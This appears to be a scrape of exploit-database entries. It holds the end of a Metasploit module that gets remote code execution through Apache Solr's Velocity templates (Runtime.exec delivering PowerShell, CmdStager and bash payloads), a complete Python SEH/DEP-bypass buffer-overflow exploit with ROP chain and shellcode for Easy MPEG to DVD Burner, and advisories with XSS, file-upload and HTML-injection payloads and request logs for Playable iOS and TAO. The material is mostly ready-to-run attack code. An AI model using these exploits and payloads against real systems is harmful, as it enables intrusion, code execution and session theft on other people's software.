end store_valid_credential( user: datastore['USERNAME'], private: datastore['PASSWORD'], private_type: :password, proof: attempt_auth.to_s ) @auth_string = auth_string end # a placeholder return value. Not requiring auth should throw no errors "" end # check for vulnerability existence def check auth_res = check_auth unless auth_res return CheckCode::Unknown("Authentication failed!") end # send a GET request to get Solr and system details ver = solr_get('uri' => normalize_uri(target_uri.path, '/admin/info/system'), 'auth' => @auth_string) # can't connect? that's an automatic failure unless ver return CheckCode::Unknown("Connection failed!") end # convert to JSON ver_json = ver.get_json_document # get Solr version solr_version = Gem::Version.new(ver_json['lucene']['solr-spec-version']) print_status("Found Apache Solr #{solr_version}") # get OS version details @target_platform = ver_json['system']['name'] target_arch = ver_json['system']['arch'] target_osver = ver_json['system']['version'] print_status("OS version is #{@target_platform} #{target_arch} #{target_osver}") # uname doesn't show up for Windows, so run a check for that if ver_json['system']['uname'] # print uname only when verbose vprint_status("Full uname is '#{ver_json['system']['uname'].strip}'") end # the vulnerability is only present in Solr versions <= 8.3.0 unless solr_version <= Gem::Version.new('8.3.0') return CheckCode::Safe("Running version of Solr is not vulnerable!") end # enumerate cores cores = solr_get('uri' => normalize_uri(target_uri.path, '/admin/cores'), 'auth' => @auth_string) # can't connect? that's yet another automatic failure unless cores return CheckCode::Unknown("Could not enumerate cores!") end # convert to JSON yet again cores_json = cores.get_json_document # draw up an array of all the cores cores_list = Array.new # get the core names cores_json['status'].keys.each do |core_name| cores_list.push(core_name) end # no cores? that means nothing to exploit. if cores_list.empty? return CheckCode::Safe("No cores found, nothing to exploit!") end # got cores? tell the operator which cores were found print_status("Found core(s): #{cores_list.join(', ')}") possibly_vulnerable_cores = {} cores_list.each do |core| # for each core, attempt to get config core_config = solr_get('uri' => normalize_uri(target_uri.path, core.to_s, 'config'), 'auth' => @auth_string) # can't retrieve configuration for that core? go next unless core_config print_error("Could not retrieve configuration for core #{core}!") next end # convert to JSON core_config_json = core_config.get_json_document # if the core configuration does not include the Velocity Response Writer, it isn't vulnerable if core_config_json['config']['queryResponseWriter'].keys.include?("velocity") vprint_good("Found Velocity Response Writer in use by core #{core}") if core_config_json['config']['queryResponseWriter']['velocity']['params.resource.loader.enabled'] == "true" vprint_good("params.resource.loader.enabled for core '#{core}' is set to true.") possibly_vulnerable_cores.store(core, true) else # if params.resource.loader.enabled is false, we need to set it to true before exploitation print_warning("params.resource.loader.enabled for core #{core} is set to false.") possibly_vulnerable_cores.store(core, false) end else vprint_error("Velocity Response Writer not found in core #{core}") next end end # look at the array of possibly vulnerable cores if possibly_vulnerable_cores.empty? CheckCode::Safe("No cores are vulnerable!") else # if possible, pick a core that already has params.resource.loader.enabled set to true possibly_vulnerable_cores.each do |core| if core[1] == true @vuln_core = core break end end # otherwise, just pick the first one if @vuln_core.to_s == "" @vuln_core = possibly_vulnerable_cores.first end CheckCode::Vulnerable end end # the exploit method def exploit unless [CheckCode::Vulnerable].include? check fail_with Failure::NotVulnerable, "Target is most likely not vulnerable!" end print_status("Targeting core '#{@vuln_core[0]}'") # if params.resource.loader.enabled for that core is false if @vuln_core[1] != true # the new config in JSON format enable_params_resource_loader = { "update-queryresponsewriter": { "startup": "lazy", "name": "velocity", "class": "solr.VelocityResponseWriter", "template.base.dir": "", "solr.resource.loader.enabled": "true", "params.resource.loader.enabled": "true" } }.to_json opts_post = { 'method' => 'POST', 'connection' => 'Keep-Alive', 'ctype' => 'application/json;charset=utf-8', 'encode_params' => false, 'uri' => normalize_uri(target_uri.path, @vuln_core[0].to_s, 'config'), 'data' => enable_params_resource_loader } unless @auth_string == "" opts_post.store('authorization', @auth_string) end print_status("params.resource.loader.enabled is false, setting it to true...") update_config = send_request_cgi(opts_post) unless update_config fail_with Failure::Unreachable, "Connection failed!" end # if we got anything other than a 200 back, the configuration update failed and the exploit won't work unless update_config.code == 200 fail_with Failure::UnexpectedReply, "Unable to update config, exploit failed!" end print_good("params.resource.loader.enabled is now set to true!") end # windows... if @target_platform.include? "Windows" # if target is wrong, warn and exit before doing anything unless target.name.include? "Windows" fail_with Failure::NoTarget, "Target is found to be Windows, please select the proper target!" end case target['Type'] # PowerShell... when :windows_psh # need PowerShell for this winenv_path = execute_command("C:\\Windows\\System32\\cmd.exe /c PATH", 'auth_string' => @auth_string, 'core_name' => @vuln_core[0], 'winenv_check' => true) unless winenv_path fail_with Failure::Unreachable, "Connection failed!" end # did the command to check for PATH execute? unless winenv_path.code == 200 fail_with Failure::UnexpectedReply, "Unexpected reply from target, aborting!" end # is PowerShell in PATH? if /powershell/i =~ winenv_path.body.to_s # only interested in the contents of PATH. Everything before it is irrelevant paths = winenv_path.body.split('=')[1] # confirm that PowerShell exists in the PATH by checking each one paths.split(';').each do |path_val| # if PowerShell exists in PATH, then we are good to go unless /powershell/i =~ path_val next end print_good("Found Powershell at #{path_val}") # generate PowerShell command, encode with base64, and remove comspec psh_cmd = cmd_psh_payload(payload.encoded, payload_instance.arch.first, encode_final_payload: true, remove_comspec: true) # specify full path to PowerShell psh_cmd.insert(0, path_val) # exploit the thing execute_command(psh_cmd, 'auth_string' => @auth_string, 'core_name' => @vuln_core[0]) break end else fail_with Failure::BadConfig, "PowerShell not found!" end # ... CmdStager ... when :windows_cmdstager print_status("Sending CmdStager payload...") execute_cmdstager(linemax: 7130, 'auth_string' => @auth_string, 'core_name' => @vuln_core[0]) # ... or plain old exec? when :windows_exec cmd = "C:\\Windows\\System32\\cmd.exe /c #{payload.encoded}" execute_command(cmd, 'auth_string' => @auth_string, 'core_name' => @vuln_core[0]) end end # ... or nix-based? if @target_platform.include? "Linux" # if target is wrong, warn and exit before doing anything if target.name.include? "Windows" fail_with Failure::NoTarget, "Target is found to be nix-based, please select the proper target!" end case target['Type'] when :linux_dropper execute_cmdstager('auth_string' => @auth_string, 'core_name' => @vuln_core[0]) when :unix_memory cmd = "/bin/bash -c $@|/bin/bash . echo #{payload.encoded}" execute_command(cmd, 'auth_string' => @auth_string, 'core_name' => @vuln_core[0]) end end end # some prep work has to be done to work around the limitations of Java's Runtime.exec() def execute_cmdstager_begin(_opts) if @target_platform.include? "Windows" @cmd_list.each do |command| command.insert(0, "C:\\Windows\\System32\\cmd.exe /c ") end else @cmd_list.each do |command| command.insert(0, "/bin/bash -c $@|/bin/bash . echo ") end end end # sic 'em, bois! def execute_command(cmd, opts = {}) # custom template which enables command execution template = <<~VELOCITY #set($x="") #set($rt=$x.class.forName("java.lang.Runtime")) #set($chr=$x.class.forName("java.lang.Character")) #set($str=$x.class.forName("java.lang.String")) VELOCITY # attempts to solve the quoting problem, partially successful if target.name.include?("Unix") template += <<~VELOCITY #set($ex=$rt.getRuntime().exec("#{cmd}")) VELOCITY else template += <<~VELOCITY #set($ex=$rt.getRuntime().exec('#{cmd}')) VELOCITY end template += <<~VELOCITY $ex.waitFor() VELOCITY # the next 2 lines cause problems with CmdStager, so it's only used when needed # during the check for PowerShell existence, or by specific payloads if opts['winenv_check'] || target['Type'] == :windows_exec || target['Type'] == :unix_memory template += <<~VELOCITY #set($out=$ex.getInputStream()) #if($out.available()) #foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end #else #end VELOCITY end # execute the exploit... raw_result = solr_get( 'uri' => normalize_uri(target_uri.path, opts['core_name'].to_s, 'select'), 'auth' => opts['auth_string'], 'vars_get' => { 'q' => '1', 'wt' => 'velocity', 'v.template' => 'custom', 'v.template.custom' => template } ) # Executing PATH always gives a result, so it can return safely if opts['winenv_check'] return raw_result end # for printing command output unless raw_result.nil? unless raw_result.code == 200 fail_with Failure::PayloadFailed, "Payload failed to execute!" end # to get pretty output result_inter = raw_result.body.to_s.sub("0\n", ":::").split(":::").last unless result_inter.nil? final_result = result_inter.split("\n").first.strip print_good(final_result) end end end # make sending requests easier def solr_get(opts = {}) send_request_cgi_opts = { 'method' => 'GET', 'connection' => 'Keep-Alive', 'uri' => opts['uri'] } # @auth_string defaults to "" if no authentication is necessary # otherwise, authentication is required if opts['auth'] != "" send_request_cgi_opts.store('authorization', opts['auth']) end # a bit unrefined, but should suffice in this case if opts['vars_get'] send_request_cgi_opts.store('vars_get', opts['vars_get']) end send_request_cgi(send_request_cgi_opts) end end
-
Easy MPEG to DVD Burner 1.7.11 - Buffer Overflow (SEH + DEP)
# Exploit Title: Easy MPEG to DVD Burner 1.7.11 - Buffer Overflow (SEH + DEP) # Date: 2020-04-15 # Exploit Author: Bailey Belisario # Tested On: Windows 7 Ultimate x64 # Software Link: https://www.exploit-db.com/apps/32dc10d6e60ceb4d6e57052b6de3a0ba-easy_mpeg_to_dvd.exe # Version: 1.7.11 # Exploit Length: 1015 Bytes # Steps : Open application > Register > In Username field paste content of pwn.txt file (Note open this in sublime or vscode) # Easy MPEG to DVD Burner 1.7.11 SEH + DEP Bypass using VirtualProtect() on Local Buffer Overflow # Exploit used with Python2.7 #------------------------------------------------------------------------------------------------------------------------------------# # Bad Characters: \x00\x0a\x0d # # SEH Offset: 1012 # # Modules Used: SkinMagic.dll & Easy MPEG to DVD Burner.exe # #------------------------------------------------------------------------------------------------------------------------------------# # Register setup for VirtualProtect() (Bypass DEP) : #--------------------------------------------------- # EAX = Points to PUSHAD at time VirtualProtect() is called # ECX = lpflOldProtect (0x10047d30 as writable location) # EDX = flNewProtect(0x40) # EBX = dwSize (0x92) # ESP = lpAddress (automatic) # EBP = ReturnTo (ptr to jmp esp) # ESI = ptr to VirtualProtect() # EDI = ROP NOP (RETN) import struct def create_rop_chain(): rop_gadgets = [ # Put 1 in EDX and decrement to 0 0x10031752, # XOR EDX,EDX # CMP EAX,DWORD PTR [ECX+8] # SETGE DL # MOV AL,DL # RETN 0x1003629a, # ADD EAX,4 # DEC EDX # JNE SKINMAGIC!SETSKINMENU+0X2F505 (10036295) # POP ESI # RETN 0x11111111, # Filler # Pop the pointer of VirtualProtect into EAX 0x10037b12, # POP EAX # RETN 0x1003b268, # ptr to &VirtualProtect() [IAT SkinMagic.dll] # Dereference Pointer into EDX then move back to EAX 0x1001c011, # ADD EDX,DWORD PTR [EAX] # RETN 0x0C 0x10031772, # MOV EAX,EDX # RETN 0x11111111, # Filler 0x11111111, # Filler 0x11111111, # Filler # Push VP and pop into EBP 0x1002e17b, # PUSH EAX # PUSH ESP # XOR EAX,EAX # POP ESI # POP EBP # RETN 0x0C 0x10037b12, # POP EAX # RETN 0x11111111, # Filler 0x11111111, # Filler 0x11111111, # Filler # Use this to get to address needed to Pop VP into ESI 0x1003619e, # POP EAX # POP ESI # RETN # Move VP to +12 on stack then push the POP POP RETN 0x10032485, # MOV DWORD PTR [ESP+0CH],EBP # LEA EBP,DWORD PTR DS:[ESP+0CH] # PUSH EAX # RETN 0x11111111, # Filler popped 0x11111111, # Filler popped # Set ESI to VP 0x1002e1ce, # POP ESI # RETN [SkinMagic.dll] 0x11111111, # Where VP is MOV into # Set EBP with POP EBP RETN 0x1002894f, # POP EBP # RETN [SkinMagic.dll] 0x1002894f, # skip 4 bytes [SkinMagic.dll] # Set EDX (# s -d 0x10000000 L?0x10050000 0000003f <- used to find 3F) # Clear out EDX, set it to 0x01, find address where DWORD of EAX will be 0x3F, then add to EDX to be 0x40 0x10031752, # XOR EDX,EDX # CMP EAX,DWORD PTR [ECX+8] # SETGE DL # MOV AL,DL # RETN 0x10037b12, # POP EAX # RETN 0x1005a0a0, # Address of 3F 0x10026173, # ADD EDX,DWORD PTR [EAX] # RETN # Set EBX to 0x92 assuming EBX is 0, but could work with a decent range of numbers # Note: This should be at least length of shellcode 0x100362c6, # XOR EAX,EAX # RETN 0x10033fb2, # ADD AL,0C9 # RETN 0x10033fb2, # ADD AL,0C9 # RETN 0x10035c12, # ADC BL,AL # OR CL,CL # JNE SKINMAGIC!SETSKINMENU+0X2EEDB (10035C6B) # RETN # Set ECX to writable location 0x1003603f, # POP ECX # RETN [SkinMagic.dll] 0x10047d30, # &Writable location [SkinMagic.dll] # Set EDI to ROP NOP 0x100395c2, # POP EDI # RETN [SkinMagic.dll] 0x10032982, # RETN (ROP NOP) [SkinMagic.dll] # Do PUSHAD and be 1337 0x10037654, # POP EAX # RETN 0xa140acd2, # CONSTANT 0x100317c8, # ADD EAX,5EFFC883 # RETN 0x1003248d, # PUSH EAX # RETN # Used to jump to ESP 0x1001cc57, # ptr to 'push esp # ret ' [SkinMagic.dll] ] return ''.join(struct.pack('<I', _) for _ in rop_gadgets) ropChain = create_rop_chain() # CALC.EXE for POC shell = ("\x31\xD2\x52\x68\x63\x61\x6C\x63\x89\xE6\x52\x56\x64\x8B\x72" "\x30\x8B\x76\x0C\x8B\x76\x0C\xAD\x8B\x30\x8B\x7E\x18\x8B\x5F" "\x3C\x8B\x5C\x1F\x78\x8B\x74\x1F\x20\x01\xFE\x8B\x4C\x1F\x24" "\x01\xF9\x0F\xB7\x2C\x51\x42\xAD\x81\x3C\x07\x57\x69\x6E\x45" "\x75\xF1\x8B\x74\x1F\x1C\x01\xFE\x03\x3C\xAE\xFF\xD7") # 148 Bytes needed to return to ROP CHAIN paddingBeginning = "B"*148 # NOP Sled needs to be sufficient length, from some math, I came out with a buffer of 444 - len(ROP CHAIN) nopLen = 444 - len(ropChain) nopSled = '\x90'*nopLen # Padding to SEH needs to consider the 420 bytes remaining - shellcode paddingMiddleLen = 420 - len(shell) paddingMiddle = 'B'*paddingMiddleLen # 0x004043ee (add esp, 7D4) Stack Pivot 2004 bytes # This brings total bytes to SEH Offset (1012) + 3 for a total of 1015 bytes seh = "\xee\x43\x40" # Exploit Visualization # #------------------------# # BBBBBBBBBBBBBBBBBBBB # #------------------------# # ROP CHAIN # #------------------------# # NOPS # #------------------------# # SHELL CODE # #------------------------# # BBBBBBBBBBBBBBBBBBBB # #------------------------# # SEH # #------------------------# exploit = paddingBeginning + ropChain + nopSled + shell + paddingMiddle + seh file = open("pwn.txt", 'w') file.write(exploit) file.close()
-
Playable 9.18 iOS - Persistent Cross-Site Scripting
# Title: Playable 9.18 iOS - Persistent Cross-Site Scripting # Author: Vulnerability Laboratory # Date: 2020-04-15 # Software Link: https://apps.apple.com/de/app/playable-the-full-hd-media-player/id502405034 # CVE: N/A Document Title: =============== Playable v9.18 iOS - Multiple Web Vulnerabilities References (Source): ==================== https://www.vulnerability-lab.com/get_content.php?id=2198 Release Date: ============= 2020-04-16 Vulnerability Laboratory ID (VL-ID): ==================================== 2198 Common Vulnerability Scoring System: ==================================== 7.3 Vulnerability Class: ==================== Multiple Current Estimated Price: ======================== 1.000€ - 2.000€ Product & Service Introduction: =============================== Watch your MKV, MP4 and MOV movie files on your iPad, iPhone or iPod Touch without conversion - just copy files to your device through iTunes or over Wifi! To search for closed captions / subtitles select a video then press the magnifying glass icon to the top right of the video. (Copy of the Homepage: https://apps.apple.com/de/app/playable-the-full-hd-media-player/id502405034 ) Abstract Advisory Information: ============================== The vulnerability laboratory core research team discovered multiple vulnerabilities in the official Playable v9.18 apple ios mobile application. Affected Product(s): ==================== Portable Ltd Product: Playable v9.18 - iOS Mobile Web Application Vulnerability Disclosure Timeline: ================================== 2020-04-16: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Exploitation Technique: ======================= Remote Severity Level: =============== High Authentication Type: ==================== Pre auth - no privileges User Interaction: ================= Low User Interaction Disclosure Type: ================ Independent Security Research Technical Details & Description: ================================ 1.1 A persistent script code injection web vulnerability has been discovered in the official Playable v9.18 apple ios mobile application. The vulnerability allows remote attackers to inject own malicious persistent script codes to the application-side for manipulation. The vulnerability is located in the filename parameter of the upload module. Attackers with wifi access are able to perform uploads with malicious script code to manipulation the mobile application ui. The request method to inject is POST and the attack vector of the vulnerability is persistent. Attackers are able to inject html and javascript codes to comrpomise the mobile wifi web-application. The injection point is the upload form on localhost:8881 and the execution occurs on localhost:80 with the visible ui listing. Successful exploitation of the vulnerability results in session hijacking, persistent phishing attacks, persistent external redirects to malicious source and persistent manipulation of affected mobile application modules. Request Method(s): [+] POST Vulnerable Function(s): [+] upload Vulnerable Parameter(s): [+] filename 1.2 An arbitrary file upload web vulnerability has been discovered in the official Playable v9.18 apple ios mobile application. The arbitary file upload vulnerability allows remote attackers to upload malicious files to compromise the mobile application. The vulnerability is located in the filename parameter of the upload module. Attackers with wifi access are able to perform uploads with malicious file extions to bypass the parse function. In a second step the attacker requests the local file to execute the malicious content on the local web-server. The request method to inject is POST and the attack vector of the vulnerability is located on the application-side. The injection point is the upload form on localhost:8881. The execution point becomes visible by a request the localhost:80/vid/[filename] path with the uploaded file content. The is present because of a missing file parse and insecure upload handling on file extensions. As well the local web-server can be reconfigured to provide more security on user interactions. Successful exploitation of the arbitrary file upload vulnerability results in a compromise of the local ios mobile application. Request Method(s): [+] POST Vulnerable Function(s): [+] upload Vulnerable Parameter(s): [+] filename Affected Module(s): [+] /vid/ Proof of Concept (PoC): ======================= 1.1 The persistent script code injection vulnerability can be exploited by remote attackers with wifi network access without user interaction. For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue. Manual steps to reproduce the vulnerability ... 1. Install the ios application (https://apps.apple.com/us/app/playable-the-full-hd-media-player/id502405034) 2. Start the ios application on your local ios device 3. Start the wifi share service in the application ui 4. Open the web-browser 5. Tamper the http requests 6. Prepare to upload any file and press the upload button 7. Inject as filename any html/js script code payload 8. Continue to transmit the POST method request 9. The file executes on the index listing on port 8881 (http://localhost:8881/index.html) 10. Successful reproduce of the persistent script code injection web vulnerability! PoC: Exploitation >"<iframe src=evil.source onload=alert(document.domain)>.jpg --- PoC Session logs [POST] --- Status: 200[OK] POST http://localhost:8881/upload Mime Type[text/html] Request Header: Host[localhost:8881] User-Agent[Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0] Accept[*/*] Accept-Language[de,en-US;q=0.7,en;q=0.3] Accept-Encoding[gzip, deflate] Referer[http://localhost:8881/index.html] Content-Length[8559] Content-Type[multipart/form-data; boundary=---------------------------3823323145734] Connection[keep-alive] POST-Daten: POST_DATA[-----------------------------3823323145734 Content-Disposition: form-data; name="file"; filename=">"<iframe src=evil.source onload=alert(document.domain)>.jpg" - Status: 200[OK] GET http://localhost/evil.source Mime Type[application/x-unknown-content-type] Request Header: Host[localhost/evil.source] User-Agent[Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Accept-Language[de,en-US;q=0.7,en;q=0.3] Accept-Encoding[gzip, deflate] Connection[keep-alive] Upgrade-Insecure-Requests[1] Cache-Control[max-age=0] Response Header: Accept-Ranges[bytes] Content-Length[8559] 1.2 the arbitrary file upload vulnerability can be exploited by local attackers with wifi network access without user interaction. For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue. Manual steps to reproduce the vulnerability ... 1. Install the ios application (https://apps.apple.com/us/app/playable-the-full-hd-media-player/id502405034) 2. Start the ios application on your local ios device 3. Start the wifi share service in the application ui 4. Open the web-browser 5. Tamper the http requests 6. Prepare a js file with malicious test content 7. Extend the file name with .jpg Note: The upload mechanism does not parse or checks for multiple extensions on file uploads 8. Upload the file by pushing the Upload File button 9. Open the url in the default /vid/ folder and remove the .jpg extension 10. The simple js executes in the scripting engine when opening 11. Successful reproduce of the arbitrary file upload vulnerability! Note: Using the ftp you can perform to create the file via console ftp://localhost (read/write permissions) PoC: Exploitation http://localhost/vid/clay.js.jpg --- PoC Session logs [POST] --- Status: 200[OK] POST http://localhost:8881/upload Mime Type[text/html] Request Header: Host[localhost:8881] User-Agent[Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0] Accept[*/*] Accept-Language[de,en-US;q=0.7,en;q=0.3] Accept-Encoding[gzip, deflate] Referer[http://localhost:8881/index.html] Content-Length[86856] Content-Type[multipart/form-data; boundary=---------------------------3823323145733] Connection[keep-alive] POST-Daten: POST_DATA[-----------------------------3823323145733 Content-Disposition: form-data; name="file"; filename="clay.js.jpg" - Status: 200[OK] GET http://localhost/listVideosJson Mime Type[application/x-unknown-content-type] Request Header: Host[localhost] User-Agent[Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0] Accept[application/json, text/javascript, */*; q=0.01] Accept-Language[de,en-US;q=0.7,en;q=0.3] Accept-Encoding[gzip, deflate] X-Requested-With[XMLHttpRequest] Referer[http://localhost/] Connection[keep-alive] Response Header: Accept-Ranges[bytes] Content-Length[87] - Status: 200[OK] GET http://localhost/vid/clay.js.jpg Mime Type[application/iosjpg] Request Header: Host[localhost] User-Agent[Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Accept-Language[de,en-US;q=0.7,en;q=0.3] Accept-Encoding[gzip, deflate] Referer[http://localhost/] Connection[keep-alive] Upgrade-Insecure-Requests[1] Response Header: Accept-Ranges[bytes] Content-Length[86670] Content-Type[application/iosjpg;] - Status: 200[OK] GET http://localhost/vid/clay.js Mime Type[application/x-unknown-content-type] Request Header: Host[localhost] User-Agent[Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Accept-Language[de,en-US;q=0.7,en;q=0.3] Accept-Encoding[gzip, deflate] Connection[keep-alive] Upgrade-Insecure-Requests[1] Response Header: Accept-Ranges[bytes] Content-Length[0] Solution - Fix & Patch: ======================= 1.1 The vulnerability can be resolved by a restriction and parse of the filename parameter. Disallow special chars and restrict inputs. Encode also the output locations to ensure nobody is able to execute script code in the main file listing. 1.2 Parse the filename for multiple extensions and prevent that attackers open specific dangerous file extensions that could compromise the local application path. Security Risk: ============== 1.1 The security risk of the script code injection web vulnerability in the mobile ios application is estimated as high. 1.2 The security risk of the arbitrary file upload vulnerability in the mobile ios application is estimated as high. Credits & Authors: ================== Vulnerability-Lab - https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab Benjamin Kunz Mejri - https://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M. Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data. Domains: www.vulnerability-lab.com www.vuln-lab.com www.vulnerability-db.com Services: magazine.vulnerability-lab.com paste.vulnerability-db.com infosec.vulnerability-db.com Social: twitter.com/vuln_lab facebook.com/VulnerabilityLab youtube.com/user/vulnerability0lab Feeds: vulnerability-lab.com/rss/rss.php vulnerability-lab.com/rss/rss_upcoming.php vulnerability-lab.com/rss/rss_news.php Programs: vulnerability-lab.com/submit.php vulnerability-lab.com/register.php vulnerability-lab.com/list-of-bug-bounty-programs.php Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or edit our material contact (admin@ or research@) to get a ask permission. Copyright © 2020 | Vulnerability Laboratory - [Evolution Security GmbH]™ -- VULNERABILITY LABORATORY - RESEARCH TEAM
-
TAO Open Source Assessment Platform 3.3.0 RC02 - HTML Injection
# Title: TAO Open Source Assessment Platform 3.3.0 RC02 - HTML Injection # Author: Vulnerability Laboratory # Date: 2020-04-15 # Vendor: https://www.taotesting.com # Software Link: https://www.taotesting.com/product/ # CVE: N/A Document Title: =============== TAO Open Source Assessment Platform v3.3.0 RC02 - Multiple Web Vulnerabilities References (Source): ==================== https://www.vulnerability-lab.com/get_content.php?id=2215 Release Date: ============= 2020-04-16 Vulnerability Laboratory ID (VL-ID): ==================================== 2215 Common Vulnerability Scoring System: ==================================== 4 Vulnerability Class: ==================== Multiple Current Estimated Price: ======================== 500€ - 1.000€ Product & Service Introduction: =============================== Accelerating innovation in digital assessment. The TAO assessment platform gives you the freedom, control, and support to evolve with today's learners. For organizations who want the freedom to control their assessment software – from authoring to delivery to reporting. (Copy of the Homepage: https://www.taotesting.com/product/ ) Abstract Advisory Information: ============================== The vulnerability laboratory core research team discovered multiple cross site vulnerabilities in the TAO Open Source Assessment Platform v3.3.0 RC02. Affected Product(s): ==================== Product: TAO Open Source Assessment Platform v3.3.0 RC02 Vulnerability Disclosure Timeline: ================================== 2020-04-16: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Exploitation Technique: ======================= Remote Severity Level: =============== Medium Authentication Type: ==================== Restricted authentication (user/moderator) - User privileges User Interaction: ================= Low User Interaction Disclosure Type: ================ Independent Security Research Technical Details & Description: ================================ 1.1 A html injection web vulnerability has been discovered in the TAO Open Source Assessment Platform v3.3.0 RC02 web-application. The vulnerability allows remote attackers to inject own malicious html codes with persistent attack vector to compromise browser to web-application requests from the application-side. The html inject web vulnerability is located in the `userFirstName`, `userLastName`, `userMail`, `password2`, and `password3` parameters of the user account input field. The request method to inject is POST and the attack vector is application-side. Remote attackers are able to inject html code for the user account credentials to provoke an execution within the main manage user listing. Successful exploitation of the web vulnerability results in persistent phishing attacks, persistent external redirects to malicious source and persistent manipulation of affected application modules. Request Method(s): [+] POST Vulnerable Module(s): [+] Manage Users Vulnerable Parameter(s): [+] userFirstName [+] userLastName [+] userMail [+] password2 [+] password3 1.2 Multiple persistent cross site web vulnerabilities has been discovered in the TAO Open Source Assessment Platform v3.3.0 RC02. The vulnerability allows remote attackers to inject own malicious script codes with persistent attack vector to compromise browser to web-application requests from the application-side. The persistent vulnerability is located in the content parameter of the Rubric Block (Add) module. Attackers are able to inject own malicious script code inside of the rubric name value. The attached values will be redisplayed in the frontend of tao. The request method to inject is POST and the attack vector is located on the application-side. The injection point is the Rubric Block (Add) module and the execution occurs in the frontend panel when listing the item attribute. Successful exploitation of the web vulnerability results in session hijacking, persistent phishing attacks, persistent external redirects to malicious source and persistent manipulation of affected or connected application modules. Request Method(s): [+] POST Vulnerable Module(s): [+] Rubric Block (Add) Vulnerable Parameter(s): [+] content Proof of Concept (PoC): ======================= 1.1 The persistent html injection web vulnerability can be exploited by remote attackers with privileged user account and low user interaction. For security demonstration or to reproduce the security web vulnerability follow the provided information and steps below to continue. Manual steps to reproduce the vulnerability ... 1. Install the application and open the ui 2. Move on top right to the user button and click manage users 3. Inject html script code payload into the vulnerable input fields 4. Save the entry 5. Open to the manage users listing Note: The payloads executes in the table that shows the user account values for admins 6. Successful reproduce of the html inject vulnerability! PoC: Vulnerable Source (Manage Users) <th class="actions">Actions</th> </tr></thead> <tbody> <tr data-item-identifier="http_2_localhost_1_tao_0_rdf_3_i1586957152301539"> <td class="login"><img src="https://www.evolution-sec.com/evosec-logo.png"></td> <td class="firstname"><img src="https://www.evolution-sec.com/evosec-logo.png"></td> <td class="lastname"><img src="https://www.evolution-sec.com/evosec-logo.png"></td> <td class="email"><img src="https://www.evolution-sec.com/evosec-logo.png"></td> <td class="roles">Test Taker</td> <td class="guiLg">German</td> <td class="status"><span class="icon-result-ok"></span> enabled</td> --- PoC Session Logs (POST) --- http://localhost:89/tao/Users/edit Host: localhost:89 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0 Accept: text/html, */*; q=0.01 Accept-Language: de,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 1393 Origin: http://localhost:89 Connection: keep-alive Referer: http://localhost:89/tao/Main/index?structure=users&ext=tao§ion=edit_user Cookie: tao_GP8CPowQ=d6et7oifjip9jnkbc7pgeotsdj; tao_0855799=e0a3289004cc96a4ffba7bdcb8515d3665ccd004 user_form_sent=1&tao.forms.instance=1&token=e0a3289004cc96a4ffba7bdcb8515d3665ccd004&http_2_www_0_w3_0_org_1_2000_1_01_1_ rdf-schema_3_label=<img src="https://www.evolution-sec.com/evosec-logo.png">&id=http://localhost/tao.rdf#i1586957152301539 &http_2_www_0_tao_0_lu_1_Ontologies_1_generis_0_rdf_3_userFirstName=<img src="https://www.evolution-sec.com/evosec-logo.png"> &http_2_www_0_tao_0_lu_1_Ontologies_1_generis_0_rdf_3_userLastName=<img src="https://www.evolution-sec.com/evosec-logo.png"> &http_2_www_0_tao_0_lu_1_Ontologies_1_generis_0_rdf_3_userMail=<img src="https://www.evolution-sec.com/evosec-logo.png">&http_2_www_0_tao_0_lu_1_Ontologies_1_generis_0_rdf_3_userUILg=http_2_www_0_tao_0_lu_1_Ontologies_1_TAO_0_rdf_3_Langca& http_2_www_0_tao_0_lu_1_Ontologies_1_generis_0_rdf_3_userRoles_9=http_2_www_0_tao_0_lu_1_Ontologies_1_TAO_0_rdf_3_DeliveryRole& classUri=http_2_www_0_tao_0_lu_1_Ontologies_1_TAOSubject_0_rdf_3_Subject&uri=http_2_localhost_1_tao_0_rdf_3_i1586957152301539 &password2=<img src="https://www.evolution-sec.com/evosec-logo.png"> &password3=<img src="https://www.evolution-sec.com/evosec-logo.png"> - POST: HTTP/1.1 200 OK Server: Apache/2.4.38 (Win32) PHP/7.2.15 X-Powered-By: PHP/7.2.15 Set-Cookie: tao_0855799=a4dd4f04e0f27648dcd6ee3e966cdb380d511079; path=/ Keep-Alive: timeout=5, max=100 Connection: Keep-Alive 